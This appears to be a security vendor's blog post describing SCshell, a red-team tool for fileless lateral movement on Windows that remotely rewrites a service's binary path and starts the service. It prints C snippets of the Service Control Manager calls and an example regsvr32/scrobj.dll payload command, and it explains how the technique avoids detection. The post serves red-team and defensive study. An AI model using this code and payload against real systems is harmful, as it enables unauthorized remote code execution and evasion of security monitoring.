CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

SCshell: Fileless Lateral Movement Using Service Manager

During red team engagements, lateral movement in a network is crucial. In addition, as a critical part of exploit chains, security solutions put a lot of effort to detect this movement. Techniques such as remote WMI and PsExec are fairly well detected. In the case of WMI, WmiPrvSe.exe will be the parent process responsible for spawning the process, making the detection a bit easier. PsExec on its end will push a file on the remote system and register a new service. Detecting the file and service creation may prevent the attack from succeeding.

In an attempt to use a technique that does not present the same behavior, I've developed a new tool I call SCshell. It is a fileless technique as long as your final payload does not drop a file on disk or does not need a file to work. It relies on the service manager capability to remotely modify a service binary path name via the ChangeServiceConfigA API.

Technical Details

As a first step it creates the authentication context this is achieved using LogonUserA API and ImpersonateLoggedOnUserA.


Once the process acquired the right authentication context, the Service Manager is remotely open using OpenSCManagerA.

SC_HANDLE schManager = OpenSCManagerA(targetHost, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); if(schManager == NULL) { printf("OpenSCManagerA failed %ld\n", GetLastError()); ExitProcess(0); } printf("SC_HANDLE Manager 0x%p\n", schManager);

This next portion of code is responsible of opening the remote service using OpenServiceA API. The service is provided as an argument.

printf("Opening %s\n", serviceName); SC_HANDLE schService = OpenServiceA(schManager, serviceName, SERVICE_ALL_ACCESS); if(schService == NULL) { printf("OpenServiceA failed %ld\n", GetLastError()); ExitProcess(0); } printf("SC_HANDLE Service 0x%p\n", schService);

The magic is happening by calling the ChangeServiceConfigA API. The API fifth argument is the binary path used to launch the service.


As stated in Microsoft documentation argument can be supplied as part of the binary path name.


From an attacker perspective this means that we can run arbitrary command by setting the binary path name to something like:

“C:\windows\system32\cmd.exe /c regsvr32 /s /n /u /i:// scrobj.dll“

The call to ChangeServiceConfigA to setting the binary path name to the payload supplied.

bResult = FALSE; bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, payload, NULL, NULL, NULL, NULL, NULL, NULL); if(!bResult) { printf("ChangeServiceConfigA failed to update the service path. %ld\n", GetLastError()); ExitProcess(0); } printf("Service path was changed to \"%s\"\n", payload);

Finally, the service is started via StartServiceA.

bResult = FALSE; bResult = StartServiceA(schService, NULL, NULL); DWORD dwResult = GetLastError(); if(!bResult && dwResult != 1053) { printf("StartServiceA failed to start the service. %ld\n", GetLastError()); } else { printf("Service was started\n"); }

Note that the error check excludes the error code 1053 which stands for: The service did not respond to the start or control request in a timely fashion.

Due to the fact that the command is not launching a service, there is a good chance that the call to StartServiceA will trigger this error. If it is the case, the StartServiceA call still executes the code but can’t properly start it as a service. At this point, you have executed your payload on the remote system.

The network capture confirms that the Windows APIs were called as expected.


This technique performs all the authentication and execution over DCERPC and SVCCTL.

In conclusion, this technique uses a slightly different approach and does not require dropping files and registering services. Default Windows installation provides a lot of not super useful services that can be targeted such as XblAuthManager which is the service behind “Xbox Accessory Management Service”. The lack of service registration and file creation reduces the number of artifacts that might be observed by a security solution.

The tool that leverage this technique was released at


Latest SpiderLabs Blogs

The Secret Cipher: Modern Data Loss Prevention Solutions

This is Part 7 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here. Far too many organizations place Data Loss Prevention (DLP) and Data...

Read More

CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway

Overview A command injection vulnerability has been discovered in the GlobalProtect feature within Palo Alto Networks PAN-OS software for specific versions that have distinct feature configurations...

Read More


We all know the cybersecurity industry loves its acronyms, but just because this fact is widely known doesn’t mean everyone knows the story behind the alphabet soup groups of letters, we must deal...

Read More